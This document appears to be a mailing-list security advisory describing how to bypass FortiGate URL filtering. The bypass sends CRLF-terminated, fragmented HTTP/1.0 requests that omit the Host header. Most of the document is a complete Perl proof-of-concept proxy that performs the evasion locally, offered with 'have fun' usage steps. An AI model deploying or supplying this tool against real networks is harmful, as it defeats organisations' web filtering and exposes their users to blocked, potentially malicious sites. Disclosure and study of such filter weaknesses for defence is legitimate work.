urlevasion.txt

`I dont know if its new but i code it during a PentTest and i would  
like to share it with you.  
It is based on code developed By sinhack research labs:  
http://sinhack.net/URLFilteringEvasion/sakeru.tx  
  
Description:  
"Fortinet's URL blocking functionality can be bypassed by  
specially-crafted HTTP requests that fulfill 3 factors:  
  
1.- HTTP Requests are terminated by the CRLF characters.  
2.- Forcing to talk via HTTP/1.0 version so that dont send the host header.  
3.- Finally, by Fragmenting the GET or POST requests  
  
Analysis:  
  
Fortinet's past vulnerability  
(http://www.fortiguardcenter.com/advisory/FGA-2006-10.html) said:  
  
Moreover, while it is possible "to bypass the functionality via an  
HTTP/1.0 request with no host header", the use of a host field is  
actually required to access a specific site on multi-homed web sites.  
When no host header is used, the intended web site is actually not  
displayed. Therefore, there is no risk.  
  
Macula's Analysis: If you dont have properly installed some AV, HIPS,  
etc, through this vuln, a workstation can connect to a malicious  
"Hacking Site" and get infected. Also through this vuln, you can  
connect to different porn sites without problems. And no matter if its  
or not multi-homed web sites. So we consider its not a low risk.  
  
  
Products affected:  
We only tested it on:  
fortiGate-1000 3.00, build 040075,070111  
  
Solution:  
We tried to contact the vendor, but without any response.  
  
PoC:  
  
#!/usr/bin/perl  
  
########################################  
# fortiGuard.pl v0.1 - http://www.macula-group.com/  
#  
# # URL Filtering Bypass proof of concept  
# Author: Daniel Regalado aka Danux... Hacker WannaBe!!! (only some  
minnor modifications from sinhack code)  
# Based on PoC from sinhack research labs -> sakeru.pl  
#  
#FortiGuard's URL blocking functionality can be bypassed by  
specially-crafted HTTP requests that are terminated by the CRLF  
character  
#instead of the LF characters and changing version of HTTP to 1.0  
without sending Host: Header and Fragmenting the GET and POST Requests  
#  
#Tested On: fortiGate-1000 3.00, build 040075,070111  
#  
#This code has been released Only for educational purposes. The author  
cannot be held responsible for any bad use.  
# Usage:  
# 1) perl fortiGuard.pl  
# 2) Configure your browser's proxy at localhost:5050  
# 3) Have fun.  
  
# --- Start Of Script---  
  
use strict;  
use URI;  
use IO::Socket;  
  
my $showOpenedSockets=1; #Activate the console logging  
my $debugging=0;  
  
  
my $server = IO::Socket::INET->new ( #Proxy Configuration  
LocalPort => 5050, #Change the listening port here  
Type => SOCK_STREAM,  
Reuse => 1,  
Listen => 10);  
  
binmode $server;  
print "Waiting for connections on port 5050 TCP...\n";  
  
while (my $browser = $server->accept()) { #When a connection occure...  
binmode $browser;  
my $method="";  
my $content_length = 0;  
my $content = 0;  
my $accu_content_length = 0;  
my $host;  
my $hostAddr;  
my $httpVer;  
my $line;  
  
while (my $browser_line = <$browser>) { #Get the Browser commands  
unless ($method) {  
($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+)  
+(\S+) +(\S+)/;  
  
my $uri = URI->new($hostAddr);  
  
$host = IO::Socket::INET->new ( #Opening the connexion to the  
remote host  
PeerAddr=> $uri->host,  
PeerPort=> $uri->port ) or die "couldn't open $hostAddr";  
  
  
if ($showOpenedSockets) { #Connection logs  
#print "Source:".$browser->peerhost."\n";  
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =  
localtime(time);  
$year += 1900;  
$mon += 1;  
printf ("\n%04d-%02d-%02d %02d:%02d:%02d  
",$year,$mon,$mday,$hour,$min,$sec);  
print $browser->peerhost." -> ".$uri->host.":".$uri->port."  
$method ".$uri->path_query."\n";;  
}  
  
binmode $host;  
my $char;  
if ($method == "GET") { #Fragmention the "GET" query  
foreach $char ('G','E','T',' ') { #I know, there is better  
way to do it,  
print $host $char; #but I'm tired and lazy...  
}  
} elsif ($method == "POST") { #Fragmentation of "POST" query  
foreach $char ('P','O','S','T',' ') {  
print $host $char;  
}  
} else {  
print $host "$method "; #For all the other methods, send  
them without modif  
print "*";  
}  
$httpVer="HTTP/1.0"; #Forzando a version 1.0  
print $host $uri->path_query . " $httpVer\r\n"; #Send the rest  
of the query (url and http version)  
#next;  
}  
  
$content_length = $1 if $browser_line=~/Content-length: +(\d+)/i;  
$accu_content_length+=length $browser_line;  
  
foreach $line (split('\n', $browser_line)) { #Fragment the Host query  
if ($line =~ /^Host:/ ) {  
#my $char="";  
#my $word="";  
#my $bogus="";  
#($bogus,$word) = split(' ', $line);  
#foreach $char ('H','o','s','t',':',' ') {  
#print $host $char;  
#}  
#print $host $word."\r\n";  
  
} else {  
print $host "$line\r\n"; #For all the other lines, send  
them without modif  
}  
  
if ( $debugging == 1 && $method == "POST" ) {  
print "$line\n";  
}  
}  
#Danux Clave para terminar el Request y enviarlo al servidor  
web, de otra forma se queda esperando este ultimo la peticion  
print $host "\r\n";  
  
  
last if $browser_line =~ /^\s*$/ and $method ne 'POST';  
if ($browser_line =~ /^\s*$/ and $method eq "POST") {  
$content = 1;  
last unless $content_length;  
next;  
}  
#print length $browser_line . " - ";  
if ($content) {  
$accu_content_length+=length $browser_line;  
last if $accu_content_length >= $content_length;  
}  
}  
  
$content_length = 0;  
$content = 0;  
$accu_content_length = 0;  
  
my $crcount=0;  
my $totalcounter=0;  
my $packetcount=0;  
  
while ( my $host_line = <$host> ) { #Reception of the result from the server  
  
$totalcounter+=length $host_line;  
print $browser $host_line; #Send them back to the browser  
#print $host_line if ( ! $content ); #Send them back to the browser  
if ($host_line=~/Content-length: +(\d+)/i) {  
$content_length = $1;  
#print " * Expecting $content_length\n"; #if ($debugging);  
}  
if ($host_line =~ m/^\s*$/ and not $content) {  
$content = 1;  
#print " * Beginning of the data section\n";  
}  
if ($content) {  
#$accu_content_length+=length $host_line;  
if ($content_length) {  
#print " * binary data section\n";  
my $buffer;  
my $buffersize = 512;  
if ($content_length < $buffersize) { $buffersize = $content_length; }  
while ( my $nbread = read($host, $buffer, $buffersize)) {  
print "#";  
$packetcount++;  
$accu_content_length+=$nbread;  
#last if $accu_content_length >= $content_length;  
print $browser $buffer; #Send them back to the browser  
#print $buffer;  
#print "\n(#$packetcount) ";  
#print "total: $totalcounter content_length:  
$content_length acc: $accu_content_length\t";  
my $tmp1 = $content_length - $accu_content_length;  
#print "length-accu= $tmp1\n";  
  
if ($tmp1 < $buffersize) {  
$buffersize = $tmp1;  
#print "new buffersize = $buffersize\n";  
}  
}  
#print "Out of the content while\n";  
}  
}  
  
#print "(#$packetcount) ";  
#print "total: $totalcounter content_length: $content_length  
acc: $accu_content_length\t";  
#my $tmp1 = $content_length - $accu_content_length;  
#print "length-accu= $tmp1\n";  
last if ($accu_content_length >= $content_length and $content ==  
1 and $content_length);  
}  
#print "\nOut for a while\n";  
  
  
if ($browser) { $browser -> close; } #Closing connection to the browser  
if ($host) { $host -> close; } #Closion connection to the server  
  
}  
  
# --- EOF ---  
  
  
--   
Danux, CISSP, OSCP  
Offensive Security Consultant  
Macula Security Consulting Group  
www.macula-group.com  
`